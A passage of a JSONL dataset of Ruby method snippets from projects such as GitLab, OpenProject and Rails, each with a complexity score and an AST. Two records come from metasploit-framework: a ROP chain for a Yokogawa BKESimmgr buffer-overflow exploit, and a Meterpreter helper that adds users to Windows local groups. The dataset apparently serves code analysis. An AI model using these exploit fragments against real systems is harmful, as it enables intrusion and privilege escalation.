pe\":\"send\",\"children\":[null,\"matches_environment?\",{\"type\":\"lvar\",\"children\":[\"environment_pattern\"]}]}]}]}]}]}]}","id":"c37f45bf-add5-4fcf-9e3e-aec45fe8cf72"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/rake_task_spec.rb","start_line":12,"raw_source":"def spec_command\n      task.__send__(:spec_command)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"spec_command\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"task\"]},\"__send__\",{\"type\":\"sym\",\"children\":[\"spec_command\"]}]}]}","id":"130b0099-f873-4493-bf69-13672fd51e1f"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/api_app_generator_test.rb","start_line":143,"raw_source":"def test_kamal_deploy_yml_excludes_asset_path_for_api_apps\n    generator [destination_root], [\"--api\"]\n    run_generator_instance\n\n    assert_file \"config/deploy.yml\" do |content|\n      assert_no_match(/asset_path:/, content)\n      assert_no_match(/public\\/assets/, content)\n    end\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_kamal_deploy_yml_excludes_asset_path_for_api_apps\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"--api\"]}]}]},{\"type\":\"send\",\"children\":[null,\"run_generator_instance\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/deploy.yml\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"asset_path:\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"public/assets\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}]}","id":"663c7041-268f-44b0-bfdd-9cf953747b4c"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/menu_manager/menu_helper.rb","start_line":252,"raw_source":"def render_unattached_children_menu(node, project)\n    return nil unless node.child_menus\n\n    (+\"\").tap do |child_html|\n      unattached_children = node.child_menus.call(project)\n      # Tree nodes support #each so we need to do object detection\n      if unattached_children.is_a? Array\n        unattached_children.each do |child|\n          child_html << content_tag(:li, render_unattached_menu_item(child, project))\n        end\n      else\n        raise Redmine::MenuManager::MenuError, \":child_menus must be an array of MenuItems\"\n      end\n    end.html_safe\n  end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"render_unattached_children_menu\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"child_menus\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child_html\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unattached_children\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"child_menus\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unattached_children\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unattached_children\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_html\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"li\"]},{\"type\":\"send\",\"children\":[null,\"render_unattached_menu_item\",{\"type\":\"lvar\",\"children\":[\"child\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redmine\"]},\"MenuManager\"]},\"MenuError\"]},{\"type\":\"str\",\"children\":[\":child_menus must be an array of MenuItems\"]}]}]}]}]},\"html_safe\"]}]}]}","id":"e502ea9f-ce05-4499-bede-b61c6ffc89e1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/migration/add_reference.rb","start_line":14,"raw_source":"def on_def(node)\n          return unless in_migration?(node)\n\n          new_tables = []\n\n          node.each_descendant(:send) do |send_node|\n            first_arg = first_argument(send_node)\n\n            # The first argument of \"create_table\" / \"add_reference\" is the table\n            # name.\n            new_tables << first_arg if create_table?(send_node)\n\n            next if method_name(send_node) != :add_reference\n\n            # Using \"add_reference\" is fine for newly created tables as there's no\n            # data in these tables yet.\n            if existing_table?(new_tables, first_arg)\n              add_offense(send_node.loc.selector)\n            end\n\n            # We require an index on the foreign key column.\n            if index_missing?(node)\n              add_offense(send_node.loc.selector)\n            end\n          end\n        end","complexity_score":28.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on_def\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_migration?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"new_tables\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"each_descendant\",{\"type\":\"sym\",\"children\":[\"send\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"send_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first_arg\",{\"type\":\"send\",\"children\":[null,\"first_argument\",{\"type\":\"lvar\",\"children\":[\"send_node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table?\",{\"type\":\"lvar\",\"children\":[\"send_node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_tables\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"first_arg\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method_name\",{\"type\":\"lvar\",\"children\":[\"send_node\"]}]},\"!=\",{\"type\":\"sym\",\"children\":[\"add_reference\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"existing_table?\",{\"type\":\"lvar\",\"children\":[\"new_tables\"]},{\"type\":\"lvar\",\"children\":[\"first_arg\"]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send_node\"]},\"loc\"]},\"selector\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_missing?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send_node\"]},\"loc\"]},\"selector\"]}]},null]}]}]}]}]}","id":"426054e0-feba-499a-904e-f1278ff6c3b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/orphan_job_artifact_final_objects/process_list.rb","start_line":140,"raw_source":"def add_deleted_object_to_list(fog_file)\n          # We log the object's generation (GCP-only attribute) because we need this for the GCP rollback task if ever\n          deleted_list_file.puts([fog_file.key, fog_file.content_length, fog_file.try(:generation)].compact.join(','))\n        end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_deleted_object_to_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fog_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deleted_list_file\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fog_file\"]},\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fog_file\"]},\"content_length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fog_file\"]},\"try\",{\"type\":\"sym\",\"children\":[\"generation\"]}]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}","id":"86edd16c-93d8-4da8-b0b6-82acbd5c2c77"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/base/uploader.rb","start_line":55,"raw_source":"def attachment_html(upload, display_filename)\n      UploadMarkdown.new(upload).attachment_markdown(display_name: display_filename)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"attachment_html\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]},{\"type\":\"arg\",\"children\":[\"display_filename\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadMarkdown\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"upload\"]}]},\"attachment_markdown\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display_name\"]},{\"type\":\"lvar\",\"children\":[\"display_filename\"]}]}]}]}]}","id":"912cf168-0035-47c5-9703-0bbd556786b9"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/stories_controller.rb","start_line":332,"raw_source":"def permission_denied?\n    (!@article.published || @article.scheduled?) && params[:preview] != @article.password\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"permission_denied?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article\"]},\"published\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article\"]},\"scheduled?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"preview\"]}]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article\"]},\"password\"]}]}]}]}","id":"23778328-6d69-4722-b873-e4d49481b021"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb","start_line":107,"raw_source":"def create_rop_chain\n    # rop chain generated with mona.py - www.corelan.be\n    rop_gadgets =\n      [\n        0x004047ca, # POP ECX # RETN [BKESimmgr.exe]\n        0x610e3024, # ptr to &VirtualAlloc() [IAT libbkfmtvrecinfo.dll]\n        0x61232d60, # MOV EAX,DWORD PTR DS:[ECX] # RETN [LibBKESysVWinList.dll]\n        0x61d19e6a, # XCHG EAX,ESI # RETN [libbkebatchepa.dll]\n        0x619436d3, # POP EBP # RETN [libbkeeda.dll]\n        0x61615424, # & push esp #  ret  [libbkeldc.dll]\n        0x61e56c8e, # POP EBX # RETN [LibBKCCommon.dll]\n        0x00000001, # 0x00000001-> ebx\n        0x61910021, # POP EDX # ADD AL,0 # MOV EAX,6191002A # RETN [libbkeeda.dll]\n        0x00001000, # 0x00001000-> edx\n        0x0040765a, # POP ECX # RETN [BKESimmgr.exe]\n        0x00000040, # 0x00000040-> ecx\n        0x6191aaab, # POP EDI # RETN [libbkeeda.dll]\n        0x61e58e04, # RETN (ROP NOP) [LibBKCCommon.dll]\n        0x00405ffa, # POP EAX # RETN [BKESimmgr.exe]\n        0x90909090, # nop\n        0x619532eb  # PUSHAD # RETN [libbkeeda.dll]\n      ].pack(\"V*\")\n\n    rop_gadgets\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create_rop_chain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rop_gadgets\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[4212682]},{\"type\":\"int\",\"children\":[1628319780]},{\"type\":\"int\",\"children\":[1629695328]},{\"type\":\"int\",\"children\":[1641127530]},{\"type\":\"int\",\"children\":[1637103315]},{\"type\":\"int\",\"children\":[1633768484]},{\"type\":\"int\",\"children\":[1642425486]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1636892705]},{\"type\":\"int\",\"children\":[4096]},{\"type\":\"int\",\"children\":[4224602]},{\"type\":\"int\",\"children\":[64]},{\"type\":\"int\",\"children\":[1636936363]},{\"type\":\"int\",\"children\":[1642434052]},{\"type\":\"int\",\"children\":[4218874]},{\"type\":\"int\",\"children\":[2425393296]},{\"type\":\"int\",\"children\":[1637167851]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]},{\"type\":\"lvar\",\"children\":[\"rop_gadgets\"]}]}]}","id":"c422617a-e764-4aaa-ae10-4642a4392f07"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/accounts.rb","start_line":545,"raw_source":"def add_members_localgroup(localgroup, username, server_name = nil)\n          unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API)\n            raise \"Session doesn't support Railgun!\"\n          end\n\n          addr_username = session.railgun.util.alloc_and_write_wstring(username)\n          #  Set up the LOCALGROUP_MEMBERS_INFO_3 structure.\n          #  https://docs.microsoft.com/windows/desktop/api/lmaccess/ns-lmaccess-localgroup_members_info_3\n          localgroup_members = [\n            addr_username,\n          ].pack(client.arch == ARCH_X86 ? 'V' : 'Q')\n          result = client.railgun.netapi32.NetLocalGroupAddMembers(server_name, localgroup, 3, localgroup_members, 1)\n          session.railgun.util.free_data(addr_username)\n          return result\n        end","complexity_score":32.3,"ast_json":"{\"type\":\"def\",\"children\":[\"add_members_localgroup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"localgroup\"]},{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"optarg\",\"children\":[\"server_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"commands\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Extensions\"]},\"Stdapi\"]},\"COMMAND_ID_STDAPI_RAILGUN_API\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Session doesn't support Railgun!\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"addr_username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"util\"]},\"alloc_and_write_wstring\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"localgroup_members\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr_username\"]}]},\"pack\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"arch\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"str\",\"children\":[\"V\"]},{\"type\":\"str\",\"children\":[\"Q\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"railgun\"]},\"netapi32\"]},\"NetLocalGroupAddMembers\",{\"type\":\"lvar\",\"children\":[\"server_name\"]},{\"type\":\"lvar\",\"children\":[\"localgroup\"]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"lvar\",\"children\":[\"localgroup_members\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"util\"]},\"free_data\",{\"type\":\"lvar\",\"children\":[\"addr_username\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"b10519c4-d95f-4640-b240-f0cf335e1db3"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/common/storages/adapters/providers/sharepoint/services/create_managed_folders_service_spec.rb","start_line":378,"raw_source":"def delete_folder(item_id)\n              Adapters::Input::DeleteFolder.build(location: item_id).bind do |input_data|\n                Adapters::Registry.resolve(\"sharepoint.commands.delete_folder\").call(storage:, auth_strategy:, input_data:)\n              end\n            end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_folder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Adapters\"]},\"Input\"]},\"DeleteFolder\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"lvar\",\"children\":[\"item_id\"]}]}]}]},\"bind\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Adapters\"]},\"Registry\"]},\"resolve\",{\"type\":\"str\",\"children\":[\"sharepoint.commands.delete_folder\"]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"send\",\"children\":[null,\"storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auth_strategy\"]},{\"type\":\"send\",\"children\":[null,\"auth_strategy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input_data\"]},{\"type\":\"lvar\",\"children\":[\"input_data\"]}]}]}]}]}]}","id":"e54f3650-23c0-4296-b259-e604e95ee5b1"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/plugin.rb","start_line":295,"raw_source":"def rename_menu_item(menu_name, item, options)\n      Redmine::MenuManager.map(menu_name) do |menu|\n        menu_item = menu.find(item)\n        menu_item.caption = options[:caption]\n        menu_item.icon = options[:icon]\n        menu_item.badge = options[:badge]\n        menu_item.url = options[:url]\n      end\n    end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"rename_menu_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"menu_name\"]},{\"type\":\"arg\",\"children\":[\"item\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redmine\"]},\"MenuManager\"]},\"map\",{\"type\":\"lvar\",\"children\":[\"menu_name\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"menu\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"menu_item\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"item\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu_item\"]},\"caption=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"caption\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu_item\"]},\"icon=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"icon\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu_item\"]},\"badge=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"badge\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu_item\"]},\"url=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]}]}]}]}","id":"913271f1-dd13-4ae9-baaa-3057f7eb8714"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers.rb","start_line":579,"raw_source":"def create_int_range_partitions(table_name, partition_size, min_id, max_id)\n          lower_bound = min_id\n          upper_bound = min_id + partition_size\n\n          end_id = max_id + (PARTITION_BUFFER * partition_size) # Adds a buffer of 6 partitions\n\n          while lower_bound < end_id\n            create_range_partition_safely(\"#{table_name}_#{lower_bound}\", table_name, lower_bound, upper_bound)\n\n            lower_bound += partition_size\n            upper_bound += partition_size\n          end\n        end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create_int_range_partitions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"partition_size\"]},{\"type\":\"arg\",\"children\":[\"min_id\"]},{\"type\":\"arg\",\"children\":[\"max_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lower_bound\",{\"type\":\"lvar\",\"children\":[\"min_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"upper_bound\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min_id\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"partition_size\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"end_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_id\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PARTITION_BUFFER\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"partition_size\"]}]}]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lower_bound\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"end_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_range_partition_safely\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lower_bound\"]}]}]},{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"lower_bound\"]},{\"type\":\"lvar\",\"children\":[\"upper_bound\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lower_bound\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"partition_size\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upper_bound\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"partition_size\"]}]}]}]}]}]}","id":"16f7d4d2-2bad-4b1a-8565-e6f0d2a9a70b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/concerns/attachable_service_call.rb","start_line":59,"raw_source":"def attachment_params\n    attachment_params = permitted_params.attachments.to_h\n\n    if attachment_params.any?\n      { attachment_ids: attachment_params.values.map(&:values).flatten }\n    else\n      {}\n    end\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"attachment_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attachment_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"attachments\"]},\"to_h\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment_params\"]},\"any?\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attachment_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment_params\"]},\"values\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]}]}]},\"flatten\"]}]}]},{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"f370a043-a34a-4a74-a22d-45cfb8d3831e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/grids/lib/grids/configuration.rb","start_line":140,"raw_source":"def url_helpers\n      @url_helpers ||= OpenProject::StaticRouting::StaticUrlHelpers.new\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"url_helpers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@url_helpers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"StaticRouting\"]},\"StaticUrlHelpers\"]},\"new\"]}]}]}","id":"bea4af10-a7b9-43b9-b1ca-1f0246552342"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/wiki_page.rb","start_line":351,"raw_source":"def content_changed?\n    if persisted?\n      # To avoid end-of-line differences depending if Git is enforcing CRLF or not,\n      # we compare just the Wiki Content.\n      raw_content.lines(chomp: true) != page&.text_data&.lines(chomp: true)\n    else\n      raw_content.present?\n    end\n  end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"content_changed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_content\"]},\"lines\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chomp\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"!=\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"text_data\"]},\"lines\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chomp\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_content\"]},\"present?\"]}]}]}","id":"dccff027-1588-436b-bf42-00f9a2584b87"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/popen/runner.rb","start_line":37,"raw_source":"def failed_results\n        results.reject { |result| result.status.success? }\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"failed_results\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"results\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"status\"]},\"success?\"]}]}]}","id":"e667dbf5-ca37-4eca-a538-7d65baf9e7c3"}
